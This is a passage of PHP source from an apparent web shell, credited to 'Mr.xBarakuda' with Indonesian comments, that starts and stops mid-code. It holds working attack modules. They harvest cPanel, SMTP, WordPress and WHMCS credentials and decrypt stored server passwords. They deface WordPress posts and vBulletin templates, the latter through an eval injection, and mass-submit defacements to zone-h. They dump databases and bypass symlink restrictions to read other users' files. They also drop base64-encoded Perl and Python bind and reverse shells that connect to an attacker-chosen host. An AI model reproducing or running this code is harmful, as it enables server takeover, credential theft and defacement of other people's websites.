						$pass .= $pass1[1]."
";
					} else {
						$pass .= $pass1[1]."
";
					}
				} elseif(preg_match("/cc_encryption_hash/", $ambil)) {
					$pass .= ambilkata($ambil,"db_password = '","'")."
";
				}
			}
			echo $pass;
		}
		$cp_pass = cp_pass($dir);
		echo $cp_pass;
		echo "</textarea><br>
		<input type='submit' name='crack' style='width: 450px;' value='Crack'>
		</form>
		<span>NB: CPanel Crack ini sudah auto get password ( pake db password ) maka akan work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span></center>";
	}
}
elseif($_GET['do'] == 'smtp') {
    function scj($dir) {
        $dira = scandir($dir);
        foreach($dira as $dirb) {
            if(!is_file("$dir/$dirb")) continue;
            $ambil = file_get_contents("$dir/$dirb");
            $ambil = str_replace("$", "", $ambil);
            if(preg_match("/JConfig|joomla/", $ambil)) {
                $smtp_host = ambilkata($ambil,"smtphost = '","'");
                $smtp_auth = ambilkata($ambil,"smtpauth = '","'");
                $smtp_user = ambilkata($ambil,"smtpuser = '","'");
                $smtp_pass = ambilkata($ambil,"smtppass = '","'");
                $smtp_port = ambilkata($ambil,"smtpport = '","'");
                $smtp_secure = ambilkata($ambil,"smtpsecure = '","'");
                echo "<center>";
                echo "SMTP Host: <font color=lime>$smtp_host</font><br>";
                echo "SMTP port: <font color=lime>$smtp_port</font><br>";
                echo "SMTP user: <font color=lime>$smtp_user</font><br>";
                echo "SMTP pass: <font color=lime>$smtp_pass</font><br>";
                echo "SMTP auth: <font color=lime>$smtp_auth</font><br>";
                echo "SMTP secure: <font color=lime>$smtp_secure</font><br><br>";
            }
        }
    }
    $smpt_hunter = scj($dir);
    echo $smpt_hunter;
    echo "<span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span></center>";
}
elseif($_GET['do'] == 'auto_wp') {
    if($_POST['hajar']) {
        $title = htmlspecialchars($_POST['new_title']);
        $pn_title = str_replace(" ", "-", $title);
        if($_POST['cek_edit'] == "Y") {
            $script = $_POST['edit_content'];
        } else {
            $script = $title;
        }
        $conf = $_POST['config_dir'];
        $scan_conf = scandir($conf);
        foreach($scan_conf as $file_conf) {
            if(!is_file("$conf/$file_conf")) continue;
            $config = file_get_contents("$conf/$file_conf");
            if(preg_match("/WordPress/", $config)) {
                $dbhost = ambilkata($config,"DB_HOST', '","'");
                $dbuser = ambilkata($config,"DB_USER', '","'");
                $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
                $dbname = ambilkata($config,"DB_NAME', '","'");
                $dbprefix = ambilkata($config,"table_prefix  = '","'");
                $prefix = $dbprefix."posts";
                $option = $dbprefix."options";
                $conn = mysql_connect($dbhost,$dbuser,$dbpass);
                $db = mysql_select_db($dbname);
                $q = mysql_query("SELECT * FROM $prefix ORDER BY ID ASC");
                $result = mysql_fetch_array($q);
                $id = $result[ID];
                $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
                $result2 = mysql_fetch_array($q2);
                $target = $result2[option_value];
                $update = mysql_query("UPDATE $prefix SET post_title='$title',post_content='$script',post_name='$pn_title',post_status='publish',comment_status='open',ping_status='open',post_type='post',comment_count='1' WHERE id='$id'");
                $update .= mysql_query("UPDATE $option SET option_value='$title' WHERE option_name='blogname' OR option_name='blogdescription'");
				echo "<div style='margin: 5px auto;'>";
                if($target == '') {
                    echo "URL: <font color=red>error, gabisa ambil nama domain nya</font> -> ";
                } else {
                    echo "URL: <a href='$target/?p=$id' target='_blank'>$target/?p=$id</a> -> ";
                }
                if(!$update OR !$conn OR !$db) {
                    echo "<font color=red>MySQL Error: ".mysql_error()."</font><br>";
                } else {
                    echo "<font color=lime>sukses di ganti.</font><br>";
                }
                echo "</div>";
                mysql_close($conn);
            }
        }
    } else {
        echo "<center>
        <h3>Auto Edit Title+Content WordPress</h3>
        <form method='post'>
        DIR Config: <br>
        <input type='text' size='50' name='config_dir' value='$dir'><br><br>
        Set Title: <br>
        <input type='text' name='new_title' value='Visited By Mr.xBarakuda' placeholder='New Title'><br><br>
        Edit Content?: <input type='radio' name='cek_edit' value='Y' checked>Y<input type='radio' name='cek_edit' value='N'>N<br>
        <span>Jika pilih <u>Y</u> masukin script defacemu ( saran yang simple aja ), kalo pilih <u>N</u> gausah di isi.</span><br>
        <textarea name='edit_content' placeholder='contoh script: http://pastebin.com/EpP671gK' style='width: 450px; height: 150px;'></textarea><br>
        <input type='submit' name='hajar' value='Hajar!' style='width: 450px;'><br>
        </form>
        <span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br>
        ";
    }
}
elseif($_GET['do'] == 'zoneh') {
  if($_POST['submit']) {
    $domain = explode("
", $_POST['url']);
    $nick =  $_POST['nick'];
    echo "<font color='white'>Defacer Onhold:</font> <a href='http://zone-h.org/archive/notifier=$nick/published=0' target='_blank'>http://zone-h.org/archive/notifier=$nick/published=0</a><br>";
    echo "<font color='white'>Defacer Archive:</font> <a href='http://zone-h.org/archive/notifier=$nick' target='_blank'>http://zone-h.org/archive/notifier=$nick</a><br><br>";
    function zoneh($url,$nick) {
      $ch = curl_init("http://zone-h.org/notify/single");
      curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
      curl_setopt($ch, CURLOPT_POST, true);
      curl_setopt($ch, CURLOPT_POSTFIELDS, "defacer=$nick&domain1=$url&hackmode=1&reason=1&submit=Send");
      return curl_exec($ch);
      curl_close($ch);
    }
    foreach($domain as $url) {
      $zoneh = zoneh($url,$nick);
      if(preg_match("/color=\"red\">OK<\/font><\/li>/i", $zoneh)) {
        echo "$url -> <font color=lime>OK</font><br>";
      } else {
        echo "$url -> <font color=red>ERROR</font><br>";
      }
    }
  } else {
    echo "<center><h3>Zone-H Mass Poster</h3>";
    echo "
        <form method='post'>
        <u>Notifier:</u><br>
        <input type='text' name='nick' size='50' value='Mr.xBarakuda'><br>
        <u>Domains:</u><br>
        <textarea style='width: 450px; height: 150px;' placeholder='http://maqlohaiker.go.id/' name='url'></textarea><br>
        <input type='submit' name='submit' value='Submit' style='width:450px;'>
        </form>";
      }
      echo "</center>";
}
elseif(isset($_GET['do']) && ($_GET['do'] == 'whmcsdeco')) {
function decrypt ($string,$cc_encryption_hash) {
    $key = md5 (md5 ($cc_encryption_hash)) . md5 ($cc_encryption_hash);
    $hash_key = _hash ($key);
    $hash_length = strlen ($hash_key);
    $string = base64_decode ($string);
    $tmp_iv = substr ($string, 0, $hash_length);
    $string = substr ($string, $hash_length, strlen ($string) - $hash_length);
    $iv = $out = '';
    $c = 0;
    while ($c < $hash_length)
    {
        $iv .= chr (ord ($tmp_iv[$c]) ^ ord ($hash_key[$c]));
        ++$c;
    }
    $key = $iv;
    $c = 0;
    while ($c < strlen ($string))
    {
        if (($c != 0 AND $c % $hash_length == 0))
        {
            $key = _hash ($key . substr ($out, $c - $hash_length, $hash_length));
        }
        $out .= chr (ord ($key[$c % $hash_length]) ^ ord ($string[$c]));
        ++$c;
    }
    return $out;
}

function _hash ($string)
{
    if (function_exists ('sha1'))
    {
        $hash = sha1 ($string);
    }
    else
    {
        $hash = md5 ($string);
    }
    $out = '';
    $c = 0;
    while ($c < strlen ($hash))
    {
        $out .= chr (hexdec ($hash[$c] . $hash[$c + 1]));
        $c += 2;
    }
    return $out;
}

echo "
<center><h3>WHMCS Decoder</h3>
<form action=''  method='post'>
<input type='hidden' name='form_action' value='2'>
<br>
<table class='tabnet' style='width:320px;padding:0 1px;'>
<tr><td>db_host: </td><td><input type='text' class='inputz' size='38' name='db_host' value='localhost'></td></tr>
<tr><td>db_username: </td><td><input type='text' class='inputz' size='38' name='db_username' value=''></td></tr>
<tr><td>db_password: </td><td><input type='text' class='inputz' size='38' name='db_password' value=''></td></tr>
<tr><td>db_name: </td><td><input type='text' class='inputz' size='38' name='db_name' value=''></td></tr>
<tr><td>cc_encryption_hash: </td><td><input type='text' class='inputz' size='38' name='cc_encryption_hash' value=''></td></tr>
<td><input class='inputzbut' type='submit' value='Submit' name='Submit' align='center'></td>
</table></form></center>";

 if($_POST['form_action'] == 2 )
 {
 //include($file);
 $db_host=($_POST['db_host']);
 $db_username=($_POST['db_username']);
 $db_password=($_POST['db_password']);
 $db_name=($_POST['db_name']);
 $cc_encryption_hash=($_POST['cc_encryption_hash']);

$link=mysql_connect($db_host,$db_username,$db_password);
mysql_select_db($db_name,$link);
$query = mysql_query("SELECT * FROM tblservers");
while($v = mysql_fetch_array($query)) {
$ipaddress = $v['ipaddress'];
$username = $v['username'];
$type = $v['type'];
$active = $v['active'];
$hostname = $v['hostname'];
echo("<center><table border='1'>");
$password = decrypt ($v['password'], $cc_encryption_hash);
echo("<tr><td>Type</td><td>$type</td></tr>");
echo("<tr><td>Active</td><td>$active</td></tr>");
echo("<tr><td>Hostname</td><td>$hostname</td></tr>");
echo("<tr><td>Ip</td><td>$ipaddress</td></tr>");
echo("<tr><td>Username</td><td>$username</td></tr>");
echo("<tr><td>Password</td><td>$password</td></tr>");

echo "</table><br><br></center>";
}

$link=mysql_connect($db_host,$db_username,$db_password);
mysql_select_db($db_name,$link);
$query = mysql_query("SELECT * FROM tblregistrars");
echo("<center>Domain Reseller <br><table class=tabnet border='1'>");
echo("<tr><td>Registrar</td><td>Setting</td><td>Value</td></tr>");
while($v = mysql_fetch_array($query)) {
$registrar     = $v['registrar'];
$setting = $v['setting'];
$value = decrypt ($v['value'], $cc_encryption_hash);
if ($value=="") {
$value=0;
}
$password = decrypt ($v['password'], $cc_encryption_hash);
echo("<tr><td>$registrar</td><td>$setting</td><td>$value</td></tr>");
}
}
}
elseif($_GET['do'] == 'dbdump') {
echo $head.'<p align="center">';
echo '
<center><form action method=post>
<table width=365 class=tabnet >
<tr><th colspan="2"><h3>Database Dump</h3></th></tr>
<tr>
	<td>Server </td>
	<td><input class="inputz" type=text name=server size=52></td></tr><tr>
	<td>Username</td>
	<td><input class="inputz" type=text name=username size=52></td></tr><tr>
	<td>Password</td>
	<td><input class="inputz" type=text name=password size=52></td></tr><tr>
	<td>DataBase Name</td>
	<td><input class="inputz" type=text name=dbname size=52></td></tr>
	<tr>
	<td>DB Type </td>
	<td><form method=post action="'.$me.'">
	<select class="inputz" name=method>
		<option  value="gzip">Gzip</option>
		<option value="sql">Sql</option>
		</select>
	<input class="inputzbut" type=submit value="  Dump!  " ></td></tr>
	</form></center></table></center>';
if ($_POST['username'] && $_POST['dbname'] && $_POST['method']){
$date = date("Y-m-d");
$dbserver = $_POST['server'];
$dbuser = $_POST['username'];
$dbpass = $_POST['password'];
$dbname = $_POST['dbname'];
$file = "Dump-$dbname-$date";
$method = $_POST['method'];
if ($method=='sql'){
$file="Dump-$dbname-$date.sql";
$fp=fopen($file,"w");
}else{
$file="Dump-$dbname-$date.sql.gz";
$fp = gzopen($file,"w");
}
function write($data) {
global $fp;
if ($_POST['method']=='ssql'){
fwrite($fp,$data);
}else{
gzwrite($fp, $data);
}}
mysql_connect ($dbserver, $dbuser, $dbpass);
mysql_select_db($dbname);
$tables = mysql_query ("SHOW TABLES");
while ($i = mysql_fetch_array($tables)) {
    $i = $i['Tables_in_'.$dbname];
    $create = mysql_fetch_array(mysql_query ("SHOW CREATE TABLE ".$i));
    write($create['Create Table'].";");
    $sql = mysql_query ("SELECT * FROM ".$i);
    if (mysql_num_rows($sql)) {
        while ($row = mysql_fetch_row($sql)) {
            foreach ($row as $j => $k) {
                $row[$j] = "'".mysql_escape_string($k)."'";
            }
            write("INSERT INTO $i VALUES(".implode(",", $row).");
");
        }
    }
}
if ($method=='ssql'){
fclose ($fp);
}else{
gzclose($fp);}
header("Content-Disposition: attachment; filename=" . $file);   
header("Content-Type: application/download");
header("Content-Length: " . filesize($file));
flush();

$fp = fopen($file, "r");
while (!feof($fp))
{
    echo fread($fp, 65536);
    flush();
} 
fclose($fp); 
}
}
elseif($_GET['do'] == 'symlink') {
$full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
$d0mains = @file("/etc/named.conf");
##httaces
if($d0mains){
@mkdir("kuda_sym",0777);
@chdir("kuda_sym");
@exe("ln -s / root");
$file3 = 'Options Indexes FollowSymLinks
DirectoryIndex kuda.html
AddType text/plain .php
AddHandler text/plain .php
Satisfy Any';
$fp3 = fopen('.htaccess','w');
$fw3 = fwrite($fp3,$file3);@fclose($fp3);
echo "
<table align=center border=1 style='width:70%;border-color:#333333;'>
<tr>
<td align=center>-<font size=3>-S. No.-</font></td>
<td align=center>-<font size=3>-Domains-</font></td>
<td align=center>-<font size=3>-Users-</font></td>
<td align=center>-<font size=3>-Symlink-</font></td>
</tr>";
$dcount = 1;
foreach($d0mains as $d0main){
if(eregi("zone",$d0main)){preg_match_all('#zone "(.*)"#', $d0main, $domains);
flush();
if(strlen(trim($domains[1][0])) > 2){
$user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
echo "<tr align=center><td><font size=2>" . $dcount . "</font></td>
<td align=left><a href=http://www.".$domains[1][0]."/><font class=txt>".$domains[1][0]."</font></a></td>
<td>".$user['name']."</td>
<td><a href='$full/kuda_sym/root/home/".$user['name']."/public_html' target='_blank'><font class=txt>Symlink</font></a></td></tr>";
flush();
$dcount++;}}}
echo "</table>";
}else{
$TEST=@file('/etc/passwd');
if ($TEST){
@mkdir("kuda_sym",0777);
@chdir("kuda_sym");
exe("ln -s / root");
$file3 = 'Options Indexes FollowSymLinks
DirectoryIndex kuda.html
AddType text/plain .php
AddHandler text/plain .php
Satisfy Any';
 $fp3 = fopen('.htaccess','w');
 $fw3 = fwrite($fp3,$file3);
 @fclose($fp3);
 echo "
 <table align=center border=1><tr>
 <td align=center><font size=3>-S. No.-</font></td>
 <td align=center><font size=3>-Users-</font></td>
 <td align=center><font size=3>-Symlink-</font></td></tr>";
 $dcount = 1;
 $file = fopen("/etc/passwd", "r") or exit("Unable to open file!");
 while(!feof($file)){
 $s = fgets($file);
 $matches = array();
 $t = preg_match('//(.*?)://s', $s, $matches);
 $matches = str_replace("home/","",$matches[1]);
 if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
 continue;
 echo "<tr><td align=center><font size=2>" . $dcount . "</td>
 <td align=center><font class=txt>" . $matches . "</td>";
 echo "<td align=center><font class=txt><a href=$full/kuda_sym/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
 $dcount++;}fclose($file);
 echo "</table>";}else{if($os != "Windows"){@mkdir("kuda_sym",0777);@chdir("kuda_sym");@exe("ln -s / root");$file3 = '
Options Indexes FollowSymLinks
DirectoryIndex kuda.html
AddType text/plain .php
AddHandler text/plain .php
Satisfy Any
';
 $fp3 = fopen('.htaccess','w');
 $fw3 = fwrite($fp3,$file3);@fclose($fp3);
 echo "
 <table align=center border=1><tr>
 <td align=center><font size=3>ID</font></td>
 <td align=center><font size=3>Users</font></td>
 <td align=center><font size=3>Symlink</font></td></tr>";
 $temp = "";$val1 = 0;$val2 = 1000;
 for(;$val1 <= $val2;$val1++) {$uid = @posix_getpwuid($val1);
 if ($uid)$temp .= join(':',$uid)."n";}
 echo '<br/>';$temp = trim($temp);$file5 =
 fopen("test.txt","w");
 fputs($file5,$temp);
 fclose($file5);$dcount = 1;$file =
 fopen("test.txt", "r") or exit("Unable to open file!");
 while(!feof($file)){$s = fgets($file);$matches = array();
 $t = preg_match('//(.*?)://s', $s, $matches);$matches = str_replace("home/","",$matches[1]);
 if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
 continue;
 echo "<tr><td align=center><font size=2>" . $dcount . "</td>
 <td align=center><font class=txt>" . $matches . "</td>";
 echo "<td align=center><font class=txt><a href=$full/kuda_sym/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
 $dcount++;}
 fclose($file);
 echo "</table></div></center>";unlink("test.txt");
 } else
 echo "<center><font size=3>Cannot create Symlink</font></center>";
 }
 }
}
elseif($_GET['do'] == 'sympy') {
	$sym_dir = mkdir('kuda_sympy', 0755);
    chdir('kuda_sympy');
	$file_sym = "sym.py";
	$sym_script = "Iy8qUHl0aG9uDQoNCmltcG9ydCB0aW1lDQppbXBvcnQgb3MNCmltcG9ydCBzeXMNCmltcG9ydCByZQ0KDQpvcy5zeXN0ZW0oImNvbG9yIEMiKQ0KDQpodGEgPSAiXG5GaWxlIDogLmh0YWNjZXNzIC8vIENyZWF0ZWQgU3VjY2Vzc2Z1bGx5IVxuIg0KZiA9ICJBbGwgUHJvY2Vzc2VzIERvbmUhXG5TeW1saW5rIEJ5cGFzc2VkIFN1Y2Nlc3NmdWxseSFcbiINCnByaW50ICJcbiINCnByaW50ICJ+Iio2MA0KcHJpbnQgIlN5bWxpbmsgQnlwYXNzIDIwMTQgYnkgTWluZGxlc3MgSW5qZWN0b3IgIg0KcHJpbnQgIlNwZWNpYWwgR3JlZXR6IHRvIDogUGFrIEN5YmVyIFNrdWxseiINCnByaW50ICJ+Iio2MA0KDQpvcy5tYWtlZGlycygna3VkYXN5bXB5JykNCm9zLmNoZGlyKCdrdWRhc3ltcHknKQ0KDQpzdXNyPVtdDQpzaXRleD1bXQ0Kb3Muc3lzdGVtKCJsbiAtcyAvIGt1ZGEudHh0IikNCg0KaCA9ICJPcHRpb25zIEluZGV4ZXMgRm9sbG93U3ltTGlua3NcbkRpcmVjdG9yeUluZGV4IGt1ZGEucGh0bWxcbkFkZFR5cGUgdHh0IC5waHBcbkFkZEhhbmRsZXIgdHh0IC5waHAiDQptID0gb3BlbigiLmh0YWNjZXNzIiwidysiKQ0KbS53cml0ZShoKQ0KbS5jbG9zZSgpDQpwcmludCBodGENCg0Kc2YgPSAiPGh0bWw+PHRpdGxlPlN5bWxpbmsgUHl0aG9uPC90aXRsZT48Y2VudGVyPjxmb250IGNvbG9yPXdoaXRlIHNpemU9NT5TeW1saW5rIEJ5cGFzcyAyMDE3PGJyPjxmb250IHNpemU9ND5NYWRlIEJ5IE1pbmRsZXNzIEluamVjdG9yIDxicj5SZWNvZGVkIEJ5IE1yLnhCYXJha3VkYTwvZm9udD48L2ZvbnQ+PGJyPjxmb250IGNvbG9yPXdoaXRlIHNpemU9Mz48dGFibGU+Ig0KDQpvID0gb3BlbignL2V0Yy9wYXNzd2QnLCdyJykNCm89by5yZWFkKCkNCm8gPSByZS5maW5kYWxsKCcvaG9tZS9cdysnLG8pDQoNCmZvciB4dXNyIGluIG86DQoJeHVzcj14dXNyLnJlcGxhY2UoJy9ob21lLycsJycpDQoJc3Vzci5hcHBlbmQoeHVzcikNCnByaW50ICItIiozMA0KeHNpdGUgPSBvcy5saXN0ZGlyKCIvdmFyL25hbWVkIikNCg0KZm9yIHh4c2l0ZSBpbiB4c2l0ZToNCgl4eHNpdGU9eHhzaXRlLnJlcGxhY2UoIi5kYiIsIiIpDQoJc2l0ZXguYXBwZW5kKHh4c2l0ZSkNCnByaW50IGYNCnBhdGg9b3MuZ2V0Y3dkKCkNCmlmICIvcHVibGljX2h0bWwvIiBpbiBwYXRoOg0KCXBhdGg9Ii9wdWJsaWNfaHRtbC8iDQplbHNlOg0KCXBhdGggPSAiL2h0bWwvIg0KY291bnRlcj0xDQppcHM9b3Blbigia3VkYS5waHRtbCIsInciKQ0KaXBzLndyaXRlKHNmKQ0KDQpmb3IgZnVzciBpbiBzdXNyOg0KCWZvciBmc2l0ZSBpbiBzaXRleDoNCgkJZnU9ZnVzclswOjVdDQoJCXM9ZnNpdGVbMDo1XQ0KCQlpZiBmdT09czoNCgkJCWlwcy53cml0ZSgiPGJvZHkgYmdjb2xvcj1ibGFjaz48dHI+PHRkIHN0eWxlPWZvbnQtZmFtaWx5OmNhbGlicmk7Zm9udC13ZWlnaHQ6Ym9sZDtjb2xvcjp3aGl0ZTs+JXM8L3RkPjx0ZCBzdHlsZT1mb250LWZhbWlseTpjYWxpYnJpO2ZvbnQtd2VpZ2h0OmJvbGQ7Y29sb3I6cmVkOz4lczwvdGQ+PHRkIHN0eWxlPWZvbnQtZmFtaWx5OmNhbGlicmk7Zm9udC13ZWlnaHQ6Ym9sZDs+PGEgaHJlZj1rdWRhLnR4dC9ob21lLyVzJXMgdGFyZ2V0PV9ibGFuayA+JXM8L2E+PC90ZD4iJShjb3VudGVyLGZ1c3IsZnVzcixwYXRoLGZzaXRlKSkNCgkJCWNvdW50ZXI9Y291bnRlcisx";
        $sym = fopen($file_sym, "w");
	fwrite($sym, base64_decode($sym_script));
	chmod($file_sym, 0755);
        $kuda = exe("python sym.py");
	echo "<center><a href='kuda_sympy/kudasympy/' target='_blank'><font color='lime'>Clik Here</a></font></center>";
}
elseif($_GET['do'] == 'vb_ngindex') {
	{
?>
<form action="" method="post">
<center><h3>VB Index Changer</h3></center>
<?php
if(empty($_POST['index'])) {
echo "<center><form method='post'><table>
<tr><td>Host: </td><td><input class='inputz' type='text' size='52' name='localhost' placeholder='localhost'></td></tr><br>
<tr><td>Database: </td><td><input class='inputz' type='text' size='52' name='database' placeholder='forum_vb'></td></tr><br>
<tr><td>Username: </td><td><input class='inputz' type='text' size='52' name='username' placeholder='user_vb'></td></tr><br>
<tr><td>Password: </td><td><input class='inputz' type='text' size='52' name='password' placeholder='vb'></td></tr></table><br>
<th colspan='2'>Your Index Code</th><br>
<textarea name='index' rows='13' style='width: 450px; height: 200px;' border='1' cols='69' name='code'>Your Index Code Here...</textarea><br>
<input class='inputzbut' type='submit' value='Setting!' name='send'>
</form></center></table>";
    }else{
    $localhost = $_POST['localhost'];
    $database = $_POST['database'];
    $username = $_POST['username'];
    $password = $_POST['password'];
    $index = $_POST['index'];
    @mysql_connect($localhost,$username,$password) or die(mysql_error());
    @mysql_select_db($database) or die(mysql_error());
    $index=str_replace("'","'",$index);
    $set_index = "{${eval(base64_decode('";
    $set_index .= base64_encode("echo "$index";");
    $set_index .= "'))}}{${exit()}}</textarea>";
    echo("SET template ='".$set_index."' ") ;
    $ok=@mysql_query("SET template ='".$set_index."'") or die(mysql_error());
    if($ok){
    echo "<center>Update success...</center>";
    } 
  }
}
}
elseif($_GET['do'] == 'bctools'){
      echo "<center><h3>Back Connect Tools</h3>";
      echo "<form method='post'>
      <span>Bind port to /bin/sh [Perl]</font></span><br/>
      Port: <input type='text' name='port' placeholder='666'> <input type='submit' name='bpl' value='>>'>
      <br><br>
      <span>Back-Connect</span><br/>
      Server: <input type='text' name='server' placeholder='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' placeholder='666'><select class='select' name='backconnect'  style='width: 100px;' height='10'><option value='perl'>Perl</option><option value='php'>PHP</option><option value='python'>Python</option><option value='ruby'>Ruby</option></select> <input type=submit value='>>'>";
      echo "</form>";
      echo "</center>";
        if($_POST['bpl']) {
        $bp=base64_decode("IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=");
        $brt=@fopen('bp.pl','w');
      fwrite($brt,$bp);
      $out = exe("perl bp.pl ".$_POST['port']." 1>/dev/null 2>&1 &");
      sleep(1);
      echo "<center><pre>$out
".exe("ps aux | grep bp.pl")."</pre></center>";
      unlink("bp.pl");
          }
          if($_POST['backconnect'] == 'perl') {
      $bc=base64_decode("IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7");
      $plbc=@fopen('bc.pl','w');
      fwrite($plbc,$bc);
      $out = exe("perl bc.pl ".$_POST['server']." ".$_POST['port']." 1>/dev/null 2>&1 &");
      sleep(1);
      echo "<center><pre>$out
".exe("ps aux | grep bc.pl")."</pre></center>";
      unlink("bc.pl");
      }
      if($_POST['backconnect'] == 'python') {
      $becaa=base64_decode("IyEvdXNyL2Jpbi9weXRob24NCiNVc2FnZTogcHl0aG9uIGZpbGVuYW1lLnB5IEhPU1QgUE9SVA0KaW1wb3J0IHN5cywgc29ja2V0LCBvcywgc3VicHJvY2Vzcw0KaXBsbyA9IHN5cy5hcmd2WzFdDQpwb3J0bG8gPSBpbnQoc3lzLmFyZ3ZbMl0pDQpzb2NrZXQuc2V0ZGVmYXVsdHRpbWVvdXQoNjApDQpkZWYgcHliYWNrY29ubmVjdCgpOg0KICB0cnk6DQogICAgam1iID0gc29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pDQogICAgam1iLmNvbm5lY3QoKGlwbG8scG9ydGxvKSkNCiAgICBqbWIuc2VuZCgnJydcblB5dGhvbiBCYWNrQ29ubmVjdCBCeSBNci54QmFyYWt1ZGFcblRoYW5rcyBHb29nbGUgRm9yIFJlZmVyZW5zaVxuXG4nJycpDQogICAgb3MuZHVwMihqbWIuZmlsZW5vKCksMCkNCiAgICBvcy5kdXAyKGptYi5maWxlbm8oKSwxKQ0KICAgIG9zLmR1cDIoam1iLmZpbGVubygpLDIpDQogICAgb3MuZHVwMihqbWIuZmlsZW5vKCksMykNCiAgICBzaGVsbCA9IHN1YnByb2Nlc3MuY2FsbChbIi9iaW4vc2giLCItaSJdKQ0KICBleGNlcHQgc29ja2V0LnRpbWVvdXQ6DQogICAgcHJpbnQgIlRpbU91dCINCiAgZXhjZXB0IHNvY2tldC5lcnJvciwgZToNCiAgICBwcmludCAiRXJyb3IiLCBlDQpweWJhY2tjb25uZWN0KCk=");
      $pbcaa=@fopen('bcpyt.py','w');
      fwrite($pbcaa,$becaa);
      $out1 = exe("python bcpyt.py ".$_POST['server']." ".$_POST['port']);
      sleep(1);
      echo "<center><pre>$out1
".exe("ps aux | grep bcpyt.py")."</pre></center>";
      unlink("bcpyt.py");
      }
      if($_POST['backconnect'] == 'ruby') {
